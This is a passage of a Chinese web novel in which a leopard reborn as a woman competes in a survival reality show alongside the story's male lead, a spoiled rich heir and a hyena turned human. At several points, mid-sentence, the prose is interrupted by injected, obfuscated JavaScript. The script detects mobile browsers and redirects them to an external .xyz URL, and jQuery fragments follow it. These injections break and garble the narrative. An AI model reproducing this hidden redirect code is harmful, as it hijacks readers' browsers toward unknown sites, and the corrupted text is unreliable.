云媞不懂,也无意了解。 豹豹向来独行。 她走向停靠摩托车的区域,躬下身子嗅了嗅,随后绕着车身巡视一圈。 新奇的大家伙。 不只是豹身,就连原主的记忆里,对这家伙的使用方法也一无所知。 双手抱胸站在角落的叶玄,看到这一幕,兀地轻笑出声。 原本怀疑她可能也接受过特殊训练,现在看来,并不是。她好像连摩托车都没见过。 “不会骑吗?我可以教你,”叶玄走上前,眼眸幽深,“作为交换,告诉我你的名字。” 「很奇怪,叶玄还是第一次对一个女人,产生如此强烈的探索欲望……」 「无疑,她是美的,但此时,比起她的美貌,他更想了解她的灵魂……」 「奇怪。这个平平无奇的女人竟成功引起了他的注意。」 「他确信,他想认识她,这种欲望比以往所有女人,更加强烈……」 这是男主叶玄与后宫团一众女主们相遇时,书中的心理描写。 云媞开始怀疑自己是否看的是盗版书,不然前后描写为何会如此矛盾。 他不是“戒备心重、睚眦必报的冷面战神”吗,为什么那么主动? 不过,云媞尚不了解“男人”这个物种。 大多数男人,脸是冷的,屌还是热的。 虽然不知哪里出了岔子,自己由一个出场不到三句话的背景板,“荣获”男主的青眼相待。 但云媞依旧选择无视。 陆续开始有人选起摩托车。 钥匙插入锁孔、顺时针拧动、右手握油门、脚踩起动装置…… 发动机轰鸣的巨响,瞬间让云媞寒毛倒竖,噌得后跳两米。 摩托车顺利点火发动。 那人戴好头盔,向身边摩友比了个“ok”的手势,随后俯身前倾,换动档位,潇洒驶离补给站。 这么简单,看来会骑摩托车也不过如此嘛。 思索片刻,云媞学着刚才那人的步骤,零帧起手。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16129827|180239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>叶玄微讶,还没来得及制止,只见摩托车以残影的形式直接冲了出去。 “卧槽什么东西飞过来了!” “啊啊啊啊啊你别死我这里啊!!” 大摆钟一样的摩托车东倒西歪,撞倒最近一辆后,多米诺骨牌似的带倒一片。 云媞无法调整失控的摩托车,但本能地压低上半身,随着车头摆动的幅度以及前进方向,观察起最快的跳车路径。 另一边,叶玄当机立断骑上车,将速度调到最高档位,猛追过去。 两人一前一后,车轮呼啸碾在凹凸不平的石子路上,发出刺耳而尖锐的声音。 靠近停机坪出口的一侧荒草地,这里堆满施工未用完的沙土堆。 云媞深吸一口气,手劲儿沿着沙土堆的方向用力一推,同时腾空跃起,在松软的草地顺势打了个滚,安稳着陆。 车头已陷进沙土堆里,只剩翘在空中的后车轮奄奄一息地旋转着。 “应该是遇上‘死亡摇摆’了。” 叶玄停车后大步走过来,拔出云媞的车钥匙,单手拧着把手,将摩托车支起。 随后蹲下身一一检查轮胎、轮毂、轴承等处。 “什么是死亡摇摆?”云媞来了兴趣。 她只知道鳄鱼的“死亡翻滚”。 叶玄挑眉:“我还以为你不会说话呢。” 在云媞重回冷脸前,他招了招手,示意她看过来,“死亡摇摆就是因不平衡产生了跟前进方向不一致的险境,这种情况下,双腿得夹紧车身,不要拉刹车,松油门降速。” 指尖指着刚才检查过的地方,“可能是因为这些地方出了故障,也有可能是车技不当、车速过快以及路面原因,不过我刚检查过了,车子没问题。” “你意思是,我有问题?” 豹豹不懂拐弯抹角,豹豹有仇当场报。 女孩不近人情的坦率,令叶玄无所适从。 他尴尬地轻咳一声,“怎么会?不过……你第一次骑,骑成这样很正常……” 周围看热闹的选手越聚越多。 虽然只是修摩托车这件小事,但叶玄临危不乱、运筹帷幄的专业姿态,仍让旁人惊叹不已。 更不用说,他撸起袖子时,那一身古铜色的健硕肌肉。 有人当即发出橄榄枝,“兄弟,组好队了吗?要不要和我们一起?我是职业运动员,我们这车还有野外探险专家、野战部队退役军人、美女医生……只差一个就成团了。” “多谢,不过我更习惯独行。” 叶玄淡然一笑,指向旁边专心围着摩托车打转的云媞,“若是愿意赏我个面子,可以邀请她去你们车队,女孩子一个人不容易……” 话没说完,云媞长腿一跨,夹住车身。 众目睽睽之下,连人带车又“噌”得一下发射出去,瞬间没影了。 “我的天呐!她脑子有泡吧,不要命了!” “感觉她在这节目待不了几期,也太能作死了……” 众人七嘴八舌中地嘲笑几番,正要散了。 不远处,女孩离开的方向,忽然间黄沙席卷,扬起灰蒙的尘埃。 沙砾互相碾撞的窸窣声愈来愈近,影影绰绰中,一道身形闪电般破雾而出。 是云媞! 刚才连车头都把控不住的人,此时竟稳得如履平地。 一会儿加速,一会儿减速,她像玩花活似的绕着人群外围转了一圈,然后车头一歪,车尾一摆,停在距离叶玄两米开外的距离。 风沙甩了他一脸。 叶玄屏息挥了挥尘雾,弥蒙中,只见云媞左腿撑地,面无表情地抬起右手。 缓缓竖起中指。 5. 第 5 章 众人纷纷谴责云媞“没素质”“太嚣张”。 叶玄云淡风轻地替她“解围”,在选手中树立了一个大度宽厚的初印象。 峰峦叠嶂的山地,天色暗下来后,大地最后一丝余温殆尽。 直耸的山峰像一尊尊深渊巨物,监视着岛上所有生灵的一举一动。 狼嚎忽近忽远,幽魂一般如影随形。 初次抵达人生地不熟的地方,饶是探险专家也不敢贸然前行。 叶玄最先停下,找了个空旷且背风的平地,将睡袋扔到地面。 后面紧随的大部队也各自为营,分散在附近。 录制第一夜,参赛选手们似乎都心照不宣,保持着一种诡异的和谐。 气温骤降,寒风彻骨。 此时,选了越野车的队伍就有福了。 有好心的队伍会邀请独行选手进车内避寒,不过更多人则笑看“孤狼”们靠在摩托车旁望风凌乱。 “傻逼啊你们?” 一男子坐在车头,满脸戏谑地指着好心邀人进车的女生,“搞没搞错,还圣母心大发呢,也不怕人家到时候反脚把你们踢出局。” 女生本想呛回去。 对面的车灯突然晃过来,照在男人半边脸上—— 一条蜈蚣般蜿蜒的长疤,从眉间直抵下颚骨,在昏黄的灯光中,显得阴森可怖。 想到网上的流言:要钱不要命的亡命徒,也可能藏匿其中。 女生脸色微变,不敢硬碰硬。 这时,一道清脆的声音陡然打破沉寂。 “只是举手之劳而已,这种情况,大家不该互帮互助吗?” 众人闻声望去。 「一声娇呵过后,只见一个身姿曼妙、面若桃花的清艳女子下了车,她身着紧身热裤搭配一件短款紫色T恤,显出傲人的身材曲线,浑圆修长的玉腿在寒风中微微颤抖,连带着声线都染上一丝妩媚。众人短暂失魂后,齐声惊呼……」 “天呐!是清纯玉女明娇娇!那个女明星!” 现场的吆唤与书中文字重叠的那一刻,云媞只有一个想法—— 如果这个世界是一本有声书的话,我想静音了。 她低头,翻了翻救生背包,试图找出一些可以吃的东西,抚慰深受重创的心灵。 但只有一堆不知道有何用的杂物,以及一大包压缩干粮。 随手拆开一小包,继续看戏。 “哟女明星啊……” 男子跳下车头,流里流气踱步到明娇娇面前,斜着眼睛,将她从头到脚缓缓扫视一遍,“互帮互助?那哥哥现在……有一团□□,也需要你的解救,能进你车里帮帮忙吗?” 说罢,他不由分说伸手,正要搭上明娇娇的肩膀。 一只强劲有力的大掌攥紧男子的小臂,反手钳制,往后拖拽数米。 “痛痛痛!” 男子的脸都憋成绛紫色,疯狂拍打扼在自己脖前的粗壮手臂。 “还在录节目,”叶玄指了指头顶盘旋的无人机,警告道,“不要闹事。” 男子艰难点头。 那道力卸去,重获呼吸的他瘫倒在车旁,剧烈咳嗽。 硝烟散去。 明娇娇与叶玄遥遥相望,国外那段危险惊心又罗曼蒂克的初遇,如走马灯似的,在二人脑中同时闪回。 “是你?!” 一侧氤氲着英雄救美、故人重逢的暧昧氛围,另一侧,“恶人团”虎视眈眈的仇恨,正在暗处萌生。 书中,这是一个由十恶不赦的五人组成的团队,有潜逃十年的通缉犯、刚刑满释放的杀人犯、抢银行被抓后越狱的亡命徒…… 当然,他们的定位和云媞一样,也不过是用来凸显男主角高光、升华男女主感情的工具人。 “人类的感情,好精彩,对吧?” 耳旁一道突兀的男声响起。 云媞木着脸偏头。 是一个黑皮、长发挑染、不修边幅的屌丝。 泪,射了出来。 “但也不至于……精彩到痛哭吧?”男人被吓得手足无措。 下一秒,哽在喉间难以下咽的那一大块压缩饼干,终于哕了出来。 云媞用手背擦掉嘴角残留的碎屑,露出这么多天以来的第一个笑容。 她拍了拍身旁男人的肩膀。 “谢谢,见到你,吐出来后好多了。” - 太伤心了! 礼貌搭讪却被内涵“丑得让人想吐”。 躲在石头后自闭了一分钟的班列,默默从背包里掏出一面小镜子。 虽没有刚才那个男人英俊魁梧,但按照人类审美,自己应该也不算太丑吧。 他抬头,用一双怨念的眼睛,死死盯着始作俑者云媞的背影。 是人都说不出那么歹毒的话! 但万一…… 班列心下一动,万一她真的不是人呢。 毕竟……他也不是。 几天前,班列不过是非洲大草原上一只游手好闲,整天跟在花豹姐姐屁股后面蹭吃蹭喝的斑鬣狗。 亚成年期,因血统不纯,他被鬣狗家族狠心抛弃后,险些命丧狮口,是花豹姐姐将它救出。 花豹、狮子、鬣狗,世代都是积怨已久的死对头,即便互相不是对方的主食,但也会找准机会跑对方窝里咬死幼崽,以绝后患。 原本以为那只花豹也不过是为了亲口咬死自己,谁知她似乎只是一时兴起救了他,然后慢慢悠悠地优雅离开。 无家可归又被狮子咬伤一只腿的班列,决定投靠她。 但花豹是领地意识很强的物种,一次又一次的驱逐、恐吓,最终,死皮赖脸的班列分得了金合欢树下的长久蹲守权。 他是一个很称职的哨兵,昼夜不歇地监视着试图入侵花豹领地的外来者,其中就包括鬣狗。 同类眼中的叛徒,对手眼中的异端。 但班列并不在乎,那天,他原本静静躺在杂草中等死,是姐姐比死神先到。 既然如此,他会做她永远的拥趸。 可意外来得更快。 他变成了人,一个一穷二白的流浪汉。 为了填饱肚子,啥也不懂的班列白天帮人搬砖,晚上在会所端盘子,后来被富婆看中,升级做了男模,一天喊八百遍“紫啧”。 但他没有忘记,去找他真正的“紫啧”。 直到那天,班列在网上看到云媞从天桥一跃而下,将歹徒压制身下的视频。 和花豹姐姐捕猎时一模一样的姿态。 优雅且危险。 得知她会参加《生存者游戏》,他义无反顾地跟了过来。 眼前渐渐起了一层雾气,云媞的身影时而虚幻时而真切。 班列按了按眼角,将镜子塞回背包。 她……会是他的花豹姐姐吗? * 许是叶玄的下马威起了作用,踏入山地地图的第一夜,相安无事。 日光熹微,晨雾渐散。 车辆启动的轰鸣声陆续响起。 有选手已经提前出发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16129828|180239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 大伙到底想起来,这是为了争夺一亿奖金而设立的竞技比赛,而非旅行综艺。 不需要领头羊,谁先到达雨林集合点,谁的胜率就高上一层。 几波人往各自觉得正确的方向驶离,上千人的大部队就此分散。 云媞不会看地图,只能暂时跟着叶玄的路径走。 毕竟他是男主,先跟着他准没错。 况且按书中所写,最终确实也只有叶玄带队的近两百人顺利找到雨林集合点,而其他几波人都迷失在千沟万壑中。 将背包绑好在后座,云媞上车打火。 摩托车发动机混着无人机的嗡鸣声,吵得她眉头紧皱。 但很快,这种喧杂被一道悦耳的女声盖过。 “叶玄哥哥~” 不远处,明娇娇从副驾驶探出头,笑靥如花地朝叶玄挥了挥手,“吃过早餐了吗?我有带零食包哦,分给你!” 似乎是怕叶玄拒绝,她兀自将一个粉色登山包扔向他。 近两米距离,背包稳稳落进叶玄怀中。 打开背包,里面有真空包装的酱板鸭、带鱼罐头、午餐肉,巧克力棒、曲奇饼、小蛋糕甚至还有几盒自热火锅。 想起那块差点噎死自己的压缩面包,云媞咽了咽口水。 实际上,节目组在录制前有过提醒:原则上不允许自带食物。 因为当游戏进入失序阶段,食物便会成为众人抢夺的稀有资源。 自备大量囤货的明娇娇,前期在选手眼中是如天使一般的存在,她走到哪儿便将零食分到哪儿,人人都爱她的善良和大度。 但到后期,她就成了一些自私自利小人眼中的一块肥肉,人人都想将她连同她的资源占为己有。 由此便展开男主一系列的英雄救美、打脸虐渣剧情。 云媞很能理解那些禽兽的心理。 作为真·禽兽,她已经一天没吃肉了。 昨晚被难吃的东西哽到食欲不振,眼下这些零食瞬间就能勾起她的贪念——对别人食物的占有欲。 “想吃吗?” 班列停在云媞车后,掀起面镜,“想吃的话,我给你抢过来。” 没有了那头邋遢挑染长发的遮挡,只露出一张干净的脸庞,云媞才发现班列长得并不丑,相反,极具一种野性美。 但……原书中没有提过这号人,想来只是连姓名都不配拥有的炮灰。 出于一种莫名的亲切感,云媞指着前方专注撩妹的叶玄,提醒班列:“别抢他的东西,千万离他远点。” 靠近主角的,都没有好下场。 “而且,我的外卖马上到了……” 这时,空中轰鸣剧烈,伴随一阵狂风,大范围卷起地表的沙尘。 所有选手停下驻足观望,每个人的衣服都被风鼓吹得劈啪作响。 班列下意识眯起眼,顺着云媞的视线,抬头看向远处。 一架直升机俯冲云层,在他们头顶的半空盘旋三圈,平稳降落。 螺旋桨的转速慢慢放缓,飞沙归于尘土。 一分钟后,机舱门打开,首先出来的是两个身形高大的黑衣保镖。 两人拖着数十米的红地毯,一直铺到云媞脚下。 紧接着是一阵激昂的协奏曲。 班列瞠目结舌:“怎么还自带背景音乐?” 话音未落,一个带着墨镜、全身潮牌的颀长男子,迈着六亲不认的步伐,阔步向他们所在的方位走来。 云媞兀地扬起嘴角,“外卖到了。” 6. 第 6 章 【《生存者游戏》节目组通知:最后一位选手已就位,集结完毕。祝各位选手玩得愉快、赛出精彩。】 手环简讯传出。 众人面上的迷惑化作震惊,“真就不装了,直接强塞玩咖啊!” 即使快被幽怨的目光戳成筛子,黎星言浑然不觉。 只当是“乡巴佬没见过世面”,被自己器宇轩昂的仙人之姿所迷倒。 四个28寸行李箱依次摆到身侧。 一名西装革履的保镖身子微躬,毕恭毕敬道:“黎少,节目组说补给站只剩最后一辆摩托车,你看……要不要替您与其他人换一辆越野车?” 他指向最近的一辆,“这个就挺不错。” 正看着热闹突然被点名的无辜选手四处张望一番,反手指自己,“啊?我吗?” “干哈玩意,我队都组好了,你说给就给啊,我面往哪儿搁……” “五百万,税后,”保镖边说,边从西服内口袋掏出一叠支票,“同意,现在就签字打款。” 周围一片哗然,有惊羡有质疑有谄媚有不屑,还有…… 偷偷瞟了眼云媞的反应,嗯……毫无反应。 黎星言拿不准她对自己这种“财大气粗、拿钱压人”的行为作何评价,于是轻咳一声,抬手制止保镖,“这是比赛,我们要尊重节目组的规则。” TMD……不是你说遇到一切质疑都要狠狠拿钱摆平、展示你高大伟岸的阔少形象吗。 戴着墨镜的保镖暗自翻了个白眼,按照提前说好的话术,点头称叹:“好的黎少,您果真深谋远虑、才高行洁……” 这一唱一和的,让大哥看明白了,“还是你们有钱人会玩啊。” 赶在黎星言王子病发作之前,大哥将头伸出窗外,做了个“salute”的手势,“先走了啊少爷,以后有这种活动还来找我,早说有钱拿啊!早说我就不装了,全给少爷您装就完事了呗。” 说完,开着车弹射起步,车尾气喷了少爷一脸。 “噗!” 云媞忍不住笑了。 这还是黎星言第一次见云媞笑,原来那副冷冰冰的臭脸笑起来这么可爱。 本被人暗讽的怒火霎时偃旗息鼓,他脸一热,扬起下巴挪步到云媞身前,“怎么?见到本少爷就这么开心?” “嗯。” 这么坦率?看来果然是小别胜新婚。 黎星言手握虚拳,挡在唇边,压住拼命上扬的嘴角,“好吧,其实见到你,我……” “你是挺招笑的。” 不管是原书,还是现实。 黎星言一愣,反应过来后气急败坏:“你!你这个不识好歹的土包子!我才不是为了你,才来参加这个破比赛的!谁要和你重归于好啊!” 听到这句话,观察许久的班列终于捕捉到了关键词,富婆说过“人说不是就是是,说不要就是要”。 他扭头提醒云媞:“他说他是为了你才来参加比赛的,他要和你重归于好。” 不过……重归于好是什么意思。好绕口。 还没待班列发问,黎星言又炸了,“你是谁啊!轮到的你这个丑八怪说话吗?” 人太多,他刚才都没察觉云媞身边还跟着一个男人,一副流里流气的街溜子气质,脸崎岖到越野车开过去都要崩坏三个轮胎。 更重要的是,才三天不到,她这么快就审美降级、移情别恋了?! 另一边,叶玄也骑行过来。 动静实在太大,他还以为云媞又朝人竖中指惹上麻烦,“怎么了?没事吧?” 说罢,他摘下头盔,夹到腋下。 词汇量很低的黎星言正准备用同样的话再骂一遍,只见叶玄抬起了头。 「这个喷不了,这是真帅。看清楚这张女人见了会疯狂,男人见了会扭曲的面容后,黎星言第一次有了自惭形秽的感觉,但身为男人的胜负欲不允许有人压他一头,好在他还有钱。他敢肯定,这里没有人比自己更有钱,而这,就是他可以将叶玄狠狠踩在脚下的资本。于是,他趾高气昂开口道——」 “你也丑,装货。” ? 嗯?怎么和原书台词不一样? 云媞迷惑,不应该是“你个穷鬼,有什么资格和本少爷说话”吗? “云媞,几天不见,你怎么尽结识一群丑人,”黎星言“啧”了一声,“不过也是,都当帅的,谁来当丑的。” “看来,接下来的路途只有本少爷这张帅脸,才能挽救你岌岌可危的审美了……” 说话间,另一个保镖已将补给站的摩托车开了过来。 很显然,一辆摩托车装不了黎星言的四个大行李箱。 循着叶玄行踪特地赶来的明娇娇,见此状,下车,温柔笑道:“需要将东西放到我车上吗?后备箱是空的,车顶也还有行李架。” 女孩体贴入微的语气如春风拂面,正常情况下,很难不让人心生好感。 明娇娇边说,边偷偷打量叶玄的反应。 想营造自己最美好无私的形象展现给他看,也想通过别的男人激起他的危机感和占有欲。 只可惜,对方是黎星言,天生不正常的主儿。 “你看他做什么?他脸上有行李?”黎星言一副看脑残的表情,睨了明娇娇和叶玄一眼,“光用嘴说,后备箱都不打开啊?” 一句话,同时攻击两个人。 明娇娇面红耳赤,转身去开后备箱。 两个保镖分别拎起两个行李箱跟过去。 叶玄则轻咳一声,询问云媞:“你们认识?” “当然!”似乎生怕没良心的云媞说出什么伤透他心的话,黎星言抢先回答,“我俩可是同住一个屋檐的关系。” 虽然只有短暂的一天。 而此时,云媞的目光正死死锁定在白色行李箱上,压根没听他俩说话的内容,糊弄地“嗯”了一声。 黎星言带的四个行李箱中,白色那个里面装的全是高档食品,和明娇娇一样,他俩在享有特权的同时,也是数百人的眼中钉。 不同的是,女主明娇娇有叶玄的庇护。 而愚蠢反派黎星言,前期被人恭维得不知天高地厚,不仅伙同“恶人团”以及一些臭鱼烂虾屡屡羞辱叶玄,还四处炫耀自己行李箱中的财物资源。 进入雨林后,选手们彻底与外界失去联系,道德崩坏的混战之境,第一个被众人踩在脚下碾压的就是“高高在上的二世祖黎少”。 既然白色行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他下意识猛踩刹车,车尾却难承负担,直接偏离行驶轨道,撞向旁边的云媞。 冲力带来凌厉风向,这是比两车相撞瞬间更快的讯号。 云媞早已做好跳车准备。 她微抬手腕,屁股离开坐垫,正要往右侧跳下。 电光石火间,一个身影竟飞扑过来,像是拼尽全身力气,死死将她圈进怀中。 “别怕!” 黎星言以一种肉包铁的姿势,垫在云媞身下。 尖锐的石子划破外套,整个后背在沙砾上碾磨,像在火上炙烤般辛辣。 剧痛过去,他长舒一口气。 余光中,两辆车叠在一起,躺倒一侧,如同他俩。 “你……” 黎星言刚开口。 对方猛得给了他一肘击。 一声闷哼,他吃痛地松开手。 下一秒,云媞迅速翻身,单手掐住他的脖子,眼底满是警惕。 她冷冰冰地问:“你刚才是想杀了我?” 7. 第 7 章 云媞的眼神比以往任何时候都要冷冰。 黎星言甚至怀疑,若自己当下开玩笑地应声“是”,她能直接先下手为强,把他弄死。 一种从未有过的酸涩翻涌,他张了张嘴,胸腔及脊背是撕裂般的刺痛。 “先别动!别说话!” 一辆越野车停下,副驾驶走出一个身材高挑的女人。 她拎着医疗箱,急遽赶到黎星言身侧,蹲下查看伤势,“后背倒不用太过担心,就怕骨裂和肺泡破裂……” 耳边是美女医生温柔的叮嘱,黎星言却木然望着不远处。 那个黑不溜秋的非主流丑八怪,正守在云媞身边嘘寒问暖。 “那位是你女朋友?” 苏简戴好听诊器,将听头抵在肺部所在的位置。 “是她暗恋我!”黎星言冷哼一声。 初见就对他搂搂抱抱,说些暧昧不明的话,还亲昵地咬他的脖子,甚至、甚至还……用柔软的舌尖…… “有点吵哦。”苏简摘下听诊器,挂在脖间。 黎星言睨了她一眼,“我又没说话。” 苏简轻笑,捏着听头,点了点他的心脏,“我说这里,很吵。” “右胳膊轻微摔伤,最近不要太使力,其他没什么大碍。”她偏头,用下巴示意云媞的方向,“喜欢呢,要用嘴说,心脏说再多,对方也听不到。” 将消炎碘酒和药粉放到黎星言右手边,苏简收好医疗箱,“去吧,再犹豫,媳妇儿都跟人跑了。” “我说了是她单方面暗恋我!我才不喜欢她!” 黎星言急了,口不择言道:“长得又黑,又没有女人味,情商还低,她哪点配得上我?” 苏简了然点头,“这样啊……那你看我如何?” 黎星言终于正眼瞧了她一眼。 明艳、风情、温柔如水。 是大多数男人即使不爱,也不忍拒绝的美女。 “既然你不喜欢她,那我怎么样?”苏简笑道,“我还挺喜欢你这种类型的弟弟。” 黎星言“哦”了一声,“但我不喜欢姐姐。” 他拾起药品,抬手隔开对方的搀扶,艰难起身,“感谢您的救助。” 素来无法无天的混不吝,在外人面前倒是有几分矜贵阔少的疏离气场。 结果一转身,他跛着腿,斗鸡似的龇牙咧嘴朝云媞走去。 “喂!帮我擦药!” 他伸直胳膊,把药品递给云媞时,手肘暗自使劲将班列撞开。 “我刚才舍命救了你,作为回报,你帮我擦个药不过分吧?” 云媞还没回应,班列先吐槽起来:“谁让你救了?以姐姐……云媞的速度,本来可以轻松摆脱危机,你反而才是那个累赘。” “你!” 黎星言上前一步,居高临下地俯视道:“那我好歹也出力了,你呢?死绿茶就会出嘴!” 他比班列高出小半个脑袋,距离抵得越近,心理上的气势便越足。 但从云媞的角度,只能看到他乱糟糟沾满泥沙的后脑勺、被划得破破烂烂的衣服以及隐隐透出的血渍。 又可怜又狼狈。 她已经知道了,刚才黎星言确实并非趁乱偷袭她,而是想用自己的身体替她挡住冲击。 像豹妈妈护住幼崽。 虽不理解他为何这么做,但云媞也不是恩将仇报的人。 她拽住黎星言的后衣领,“脱了。” - 密闭的车厢,狭窄的后排。 上半身不着寸缕的肤白美男,微微颤抖着身体,极力克制嘴角几欲溢出的呻.吟。 后背是炙烤般的火热,但更滚烫的,是那颗心脏。 太吵了。 云媞本就五感敏锐,此时车内只有两人,一切声响都被无限放大。 强忍着不耐,清理好伤口并敷上药粉,云媞从急救包中掏出绷带。 指尖刚碰上黎星言的肌肤,对方扑通心跳声愈发聒噪。 做豹时,云媞喜欢枕着猎物的心脏睡觉。 柔软、温热,还好吃。 只是她没想到,活着的心脏能跳得那么快。 “能不能让你的心别跳了,吵死了。” 将绷带随意打了个死结,云媞拍拍他的肩膀,“好了。” 想起苏医生的话,黎星言猛得捂住胸口,飞速挪到车边,尽量拉远二人的距离。 “什、什么话!心不跳了还能活吗?” 见鬼,她又没有用听诊器,怎么听到的!自己的心跳真有那么大声吗…… 狐疑地偷看她一眼后,黎星言扭扭捏捏侧过身子,单手胡乱穿起衣服。 另一侧,云媞已经打开车门。 叶玄、班列、明娇娇等一众人正站在外面,好整以暇地看着。 活像女霸王强占黄花大闺男后的抓奸现场。 这么一代入,黎星言的脸更热了。 * 因为突发意外,加上已到午餐饭点,叶玄临时停下休整。 跟随他的,大部分已把他当作领队。 平坦的山地路段,大伙分散歇脚,星星点点各自为阵。 看着那边叶玄,美人在怀,美食到嘴。再看看自己包里寒酸的压缩饼干。 云媞咬咬牙,思忖现在是否该下手,去偷去抢。 突然,一个白色行李箱“砰”得一声,掉落面前。 “诺,给你的。” 黎星言不自在地撇开视线,甩了甩酸痛不已的左臂,气势依旧拽得跟个二五八万似的,“就随便捡了点家里不要的垃圾,放着也是碍事,你不是什么都爱吃吗,正好给你处理了。” 冷藏箱真空保存的神户牛排、五香扒鸡、冷吃牛肉……基本都是云媞爱吃的肉类品。 “这是什么?” 塞得满满当当的行李箱隔层网袋里,一个方形紫檀木首饰盒格格不入。 上面的镂空雕花及祥云图腾精巧细腻,可见价值不菲。 “这、这个不是给你的!”黎星言霎时涨红了脸,一把夺过木盒,“是佣人放错了吧!你千万别自作多情啊……” 那宝贝劲儿,生怕别人抢去一样。 云媞莫名其妙瞥了他一眼,“不感兴趣。” 她最爱的只有肉。 径直拆开牛排包装,肉质看起来鲜嫩柔滑,脂肪纹理如雪花般,均匀细腻地分布在鲜嫩的红肉之间,还带着丝丝寒气,微微驱散晌午的燥热。 眼见云媞直接张嘴就要啃上一口,黎星言都顾不上震惊,慌乱按住她的手腕,“不儿!你就这么吃啊!” “那怎么吃?” “当然是用锅煎着吃啊。” 云媞沉默片刻,“锅呢?” 锅不就在厨房……卧槽!锅呢! 小少爷每天衣来张手饭来张口,金贵的脚就没踏进过厨房,哪里记得出门在外,光带了食材不行,还得随身带个锅。 “那、那么多东西,我一个人收拾起来也很费劲的,哪里顾得上面面俱到!”黎星言嘴硬道。 “你刚不还说是佣人收拾的吗?” …… “少废话!” 黎星言面红耳赤,说话都磕巴起来,“这、这个扔了!吃别的!其他都是熟食,不然……不然这一箱子我都丢去喂狼。” 云媞自然不会把他的话放心上,更何况,到嘴的鲜肉就没有不吃的道理。 她抱着冷藏箱,背对人群,内心嗜血的基因蠢蠢欲动。 下一秒,一个平底锅盖住了箱口。 抬眸,班列背光站在身前,看不清面容,只听他极小声说:“人类没有吃生肉的习惯。” -< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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从某种程度上来说,鬣狗倒有狗的几分习性——通人性。班列能感觉出黎星言人不坏,和云媞关系似乎也不错,因此懒得跟他计较。 煎好最后几块牛排,班列往云媞盘里添了最大的一块,颔首指向不远处,“给那妇人一块吧,锅和调料都是找她借的。” 越过无数道惊羡窥视的目光。 一个四十岁左右的阿姨,孤零零坐在一辆破损严重的摩托车旁,埋头啃着压缩面包。 黎星言如鲠在喉,偷偷观察云媞的反应。 她正呆望着妇人,表情似乎有一丝心疼。 可恶!就这个非主流丑八怪会做人!真会在女孩子面前装好心。 黎星言一把夺走班列手中的平底锅,“我的那份不吃了,也给那位女士。” 说罢,他径直朝妇人走去,迈着圣父的救世步伐,头也不回,像是下定了某种决心。 “他不吃……”云媞痛心疾首,眼泪从嘴角流了出来,“为什么不能直接给我吃?” 好心疼啊,一下损失了两块美味牛排! * 休整结束。 黎星言背部有伤,右手肘也使不了太大的力。 上摩托车都费劲,更别提继续独自骑行。 但他死活不愿搭乘明娇娇或苏简的越野车,叶玄问他原因,也不明说。 他只将云媞拉到一侧,语气中透着委屈:“你难道愿意看着我上别人的车,和别的女人组队吗?” 黎星言没谈过恋爱,但他一直坚信,对感情专一认真是每个人都应该具备的最基本的品质。那些朝三暮四、拈花惹草的男人,都不过是用下半身思考的禽兽。 既然他已经接受了云媞的“示好”,那他也应该恪守男德,万事以她为先才对。 “关我什么事。” 云媞眼都没抬,用毛巾擦了擦爱车,径直跨上座位。 转念一想,目前黎星言对自己来说,还有剩余的利用价值。 她扭头,望向眼眶泛红还刻意躲开自己视线的矜贵少爷,沉默片刻。 “算了……” 云媞轻拍后座,学着记忆中骑行人常说的那句话—— “你要不要当我的挡泥板?” 8. 第 8 章 耳畔的风,呼啸而过。 枯黄的草甸,荒芜的山头,以及头顶盘旋追踪的无人机,都在眼前拖出残影。 从自顾不暇的赶路者,变成走马观花的赏路人,穷山恶岭也开始变得面目可亲。 下意识攥紧云媞的衣摆,黎星言耳根发烫,连后背未愈的伤痕也荣升为一种甜蜜的勋章。 「你要不要当我的挡泥板?」 这句话如魔音穿耳般再次涌进脑海。 女孩直率的、坦诚的告白,让黎星言反思起自己是否太过心口不一。 或许,他应该像苏医生说的那样,让对方也感知到他的心意。 犹豫数秒,黎星言身子微微前倾,探出手,正欲拢紧女孩的腰身。 车身突然微晃一下。 云媞反手摁住他蠢蠢欲动的手腕。 “再敢动手动脚,你就死定了。” - 连赶数小时的路程,天色渐暗,狼鸣再起。 保险起见,大部队驻扎休整。 下车后,黎星言还在生闷气,故意一声不吭坐到离云媞数十米开外的地方。 究竟什么意思啊她?上一秒还在向自己真诚告白,下一秒就能毫无温度地说出那种威胁的话来。 忽冷忽热、阴晴不定…… 莫非……遇上了情场老手兼PUA大师! 想到这里,黎星言双手抱胸,心道:从现在开始,我绝不会主动朝那个坏女人踏出一步。得让她知道,本少爷不是那么容易被她玩弄的男人! 摆出最冷漠的姿态,垂首等待数分钟。 隐约察觉一道脚步声离自己越来越近。 黎星言倏地抬头。 “黎少爷,听小列说你们要自己去弄点野味吃,等会儿还要用锅吗?” 